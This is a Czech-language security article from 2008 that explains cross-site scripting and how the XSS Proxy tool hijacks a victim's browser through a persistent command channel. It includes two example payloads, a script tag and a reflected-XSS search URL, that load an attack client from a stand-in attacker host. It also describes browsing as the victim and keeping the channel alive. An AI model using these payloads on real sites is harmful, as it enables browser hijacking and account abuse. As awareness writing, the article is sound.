Autor: .cCuMiNn. | 27.2.2008 |
Hovoří-li se o zratitelnosti XSS, která je v současné době nejčastěji se vyskytující zranitelností webových aplikací, dochází často ke konfliktním situacím mezi diskutujícími stranami. Jedna strana tvrdí, že útoky typu Cross Site Scripting (XSS) jsou dobré maximálně pro hrátky malých dětí, kteří si tak mohou upevnovat své ego, druzí, že zratitelnosti XSS jsou na Internetu časovanou bombou, která může způsobit nesmírné škody. Osobně se stavím ke druhé ze stran a abych svému tvrzení dodal patřičnou váhu, představím Vám nástroj XSS proxy, který v roce 2005 představil světu Anton Rager.
Zratitelnost Cross Site Scripting zřejmě není potřeba blíže představovat. Ty z Vás, kteří neví, o čem je řeč, odkáži v závěru článku na patřičné materiály, kterých je na Internetu k nalezení nespočet. Důležité je vědět, že pomocí těchto útoků je možné spustit skript na straně klienta, který běží v kontextu navštívené domény a může tak přistupovat k veškerým objektům, které jsou na webových stránkách dané domény dostupné. Pro bližší informace doporučuji prostudovat materiály o Same Origin Policy a Document Objekt Model (DOM), bez jejich dokonalého pochopení není možné používat pokročilejších útoků XSS. Pro správné pochopení tohoto článku je také nutné porozumnění výrazům persitent a non-persistent XSS, které jsou nejběžnějšími typy XSS zranitelností.
Mnoho lidí a to dokonce i XSS znalých se domnívá, že pomocí útoků XSS je možné provádět pouze statické útoky. To znamená, že útočník umístí svůj skript do zkompromitované webové stránky, kterou jakmile uživatel navštíví, dojde k jeho spuštění, jež může vést k odcizení obsahu cookie, změně nastavení účtu nebo k modifikaci zobrazených údajů. Zranitelnost XSS však může být daleko nebezpečnější, neboť dokáže způsobit naprosté ovládnutí webového browseru oběti. Jedním z příkladů je právě nástroj XSS proxy, který mezi útočníkem a obětí vytvoří trvalý komunikační kanál, jehož využitím může útočník zasílat zkompromitovanému browseru příkazy, které jsou tímto prohlížečem vykonávány.
Ptáte se, na jakém principu je ovládnutí prohlížečů jednotlivých uživatelů založeno a jak vlastně XSS proxy pracuje? Ač to může zprvu vypadat složitě, je celý princip velice jednoduchý. Ovšem dříve, než si popíšeme způsob fungování, podíváme se blíže na samotný nástroj XSS proxy, který je tvořen dvěmi částmi. První z nich je kód napsaný v javascriptu. Tím je potřeba skrz nalezenou XSS zranitelnost na webové stránce nakazit browser oběti. Tento kód se pak stává klientem, který obsahuje různé funkce, jež umožnují provádět příkazy útočníka a komunikaci se serverovou částí. Serverová část je napsaná v Perlu a útočník ji spouští na serveru s veřejnou IP adresou. Tato část naslouchá současně na dvou portech, přičemž skrz jeden z nich dochází ke komunikaci klientů se serverem a skrz druhý přistupuje útočník k rozhraní pro jejich ovládání.
Na webovou stránku obsahující persistentní zranitelnost XSS je vložen kód podobný tomuto:
<script src="http://www.utocnik.com/XssProxyClient.js"></script>
Případně může být obět nakažena skrz odkaz vyvolávající non-persistentní XSS. Takový odkaz může vypadat takto:
http://www.server.com/search.php?q=<script src="http://www.utocnik.com/XssProxyClient.js"></script>
Ve chvíli, kdy uživatel navštíví webovou stránku napadenou výše uvedým způsobem, dojde k načtení kódu klientské části do webového prohlížeče a k jeho spuštění. Jakmile je kód spuštěn, začne se v pravidelných intervalech připojovat k serverové části aplikace XSS proxy, z níž získává vložené útočníkovi příkazy a na nějž odesílá data, která si útočník vyžádal. Zároven dojde k vytvoření vloženého rámu, který slouží k načítání dalších webových stránek, které si útočník vyžádá, viz.níže.
obr: schéma XSS proxy klienta (kliknutím obrázek zvětšíte)Připojí-li se v tuto chvíli k administračnímu rozhraní XSS proxy serveru útočník, uvidí v něm seznam všech podrobených klientů a to včetně URI stránek, na kterých se tyto klienti právě nachází. Jeniným klikutím na odkaz si pak může nechat zobrazit přesnou kopii této stránky, a dostává se tak do situace, jako by nahlížel uživateli přes rameno. Kterémukoliv z klientů může také zadat příkaz, kterému bude klient rozumět, nebo mu může zaslat kód v javascriptu. Klient, který se v pravidelných intervalech k serveru přihlašuje, tento příkaz stáhne a provede. Další z možností, které má útočník k dispozici, je možnost načíst do skrytého rámu v browseru oběti jakoukoli webovou stránku ze stejné domény a zaslání jejího obsahu zpět útočníkovi. Tímto způsobem může útočník skrz prohlížeč obětí surfovat po Internetu s jejich identitou. Pokud je obět nalogována ke svému účtu, není tuším potřeba zdůraznovat nebezpečnost tohoto počínání. Jistě si říkáte, že omezení útoku pouze na danou doménu je děsně omezující a útok tak nemůže mít příliš vážné následky. Toto však není úplně pravda. Útočník může do skrytého rámu načíst stránku z jiné domény, která je také náchylná na XSS, čímž v tomto rámu spustí dalšího klienta a získá volný pohyb i po této doméně. Pokud si uvědomíme, že pomocí XSS je možné napadnout více než 80% webových aplikací, lehce dojdeme k závěru, že útočník tak skrz klienta získá volný pohyb téměř po celém Internetu. Klientům je dokonce možné vložit do vínku seznam webů, na nichž je známa XSS zranitelnost a ty pak mohou provést automatický průzkum, zda uživatel má na těchto webech trvalé přihlášení a případně jej může předem daným způsobem zneužít.
Některým z Vás zajisté neušla skutečnost, že komunikační kanál zůstává otevřen pouze po dobu, než dojde ze strany oběti k přechodu na jinou webovou stránku. Protože je pro útočníka důležité, aby jeho obět zůstala na zkompromitované stránce co nejdéle, může použít některou ze lstí, kterou si zajistí komunikační kanál i když jeho objet dále surfuje po webových stránkách. Jednou z možností je po spuštění klienta zobrazit popup okno, které překryje to aktuálně zobrazené a nechá uživatele nadále surfovat v něm, nebo může přidat ke všem odkazům na stránce parametr target="_blank", který opět způsobí přesun uživatelovy aktivity do nově zobrazeného okna.
O zrantelnosti XSS nebo o samotném nástroji XSS proxy by se toho dalo napsat opravdu mnoho. Úkolem tohoto článku však bylo pouze upozornit na nebezpečí, které se v XSS skrývá, a které Vám možná zůstávalo doposud utajeno. Pro zájemce o bližší informace uvádím odkazy na místa, kde je možné dohledat další podrobnosti:
Zranitelnost XSS - http://en.wikipedia.org/wiki/Cross-site_scripting
Same Origin policy - http://en.wikipedia.org/wiki/Same_origin_policy
Document Object Model - http://en.wikipedia.org/wiki/Document_Object_Model
Nástroj XSS proxy - http://sourceforge.net/projects/xss-proxy
Originální dokument o XSS proxy - http://xss-proxy.sourceforge.net/Advanced_XSS_Control.txt
Doporučená literatura k XSS:
Jeremiah Grossman a spol. - XSS Attacks: Cross Site Scripting Exploits And Defense